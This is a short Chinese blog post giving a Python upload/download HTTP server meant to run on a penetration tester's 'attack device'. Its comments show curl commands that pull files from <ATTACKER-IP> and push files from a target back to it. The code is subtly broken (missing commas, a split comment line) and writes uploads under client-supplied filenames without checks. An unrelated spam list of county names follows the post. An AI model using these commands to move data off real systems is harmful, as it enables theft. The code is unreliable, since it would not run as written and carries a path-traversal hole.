so true

          心懷未來(lái),開(kāi)創(chuàng)未來(lái)!
          隨筆 - 160, 文章 - 0, 評(píng)論 - 40, 引用 - 0
          數(shù)據(jù)加載中……

          http_server supports download/upload

          #!/usr/env python3
          import http.server
          import socketserver
          import io
          import cgi

          #  Download a file from your attack device:
          #
          curl -O http://<ATTACKER-IP>:8000/<FILENAME>

          #  Upload a file back to your attack device:
          #
          curl -F 'file=@<FILENAME>' http://<ATTACKER-IP>:8000/

          #  Multiple file upload supported, just add more -F 'file=@<FILENAME>'
          #
            parameters to the command line.
          #
          curl -F 'file=@<FILE1>' -F 'file=@<FILE2>' http://<ATTACKER-IP>:8000/

          # Change this to serve on a different port
          PORT = 8000

          class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):

              def do_POST(self):
                  r, info = self.deal_post_data()
                  print(r, info, "by: ", self.client_address)
                  f = io.BytesIO()
                  if r:
                      f.write(b"Success\n")
                  else:
                      f.write(b"Failed\n")
                  length = f.tell()
                  f.seek(0)
                  self.send_response(200)
                  self.send_header("Content-type""text/plain")
                  self.send_header("Content-Length", str(length))
                  self.end_headers()
                  if f:
                      self.copyfile(f, self.wfile)
                      f.close()

              def deal_post_data(self):
                  ctype, pdict = cgi.parse_header(self.headers['Content-Type'])
                  pdict['boundary'] = bytes(pdict['boundary'], "utf-8")
                  pdict['CONTENT-LENGTH'] = int(self.headers['Content-Length'])
                  if ctype == 'multipart/form-data':
                      form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST''CONTENT_TYPE':self.headers['Content-Type'], })
                      print (type(form))
                      try:
                          if isinstance(form["file"], list):
                              for record in form["file"]:
                                  open("./%s"%record.filename, "wb").write(record.file.read())
                          else:
                              open("./%s"%form["file"].filename, "wb").write(form["file"].file.read())
                      except IOError:
                              return (False, "Can't create file to write, do you have permission to write?")
                  return (True, "Files uploaded")

          Handler = CustomHTTPRequestHandler
          try:
              server = socketserver.TCPServer(("", PORT), Handler)
              # Activate the server; this will keep running until you
              # interrupt the program with Ctrl-C
              server.serve_forever()
          except:
              pass
          finally:
              server.close()

          posted on 2021-11-20 21:03 so true 閱讀(108) 評(píng)論(0)  編輯  收藏 所屬分類(lèi): Linux

          主站蜘蛛池模板: 阳谷县| 获嘉县| 隆德县| 沅江市| 潞西市| 湘潭市| 德钦县| 高台县| 周口市| 丰宁| 当阳市| 夹江县| 沙湾县| 广西| 鄂伦春自治旗| 黄龙县| 都兰县| 马龙县| 贵德县| 保靖县| 天长市| 泽州县| 洪雅县| 铜鼓县| 新沂市| 南华县| 咸丰县| 长泰县| 萨嘎县| 靖江市| 海城市| 重庆市| 松滋市| 泽库县| 泽州县| 沂源县| 凭祥市| 永德县| 云龙县| 吐鲁番市| 唐山市|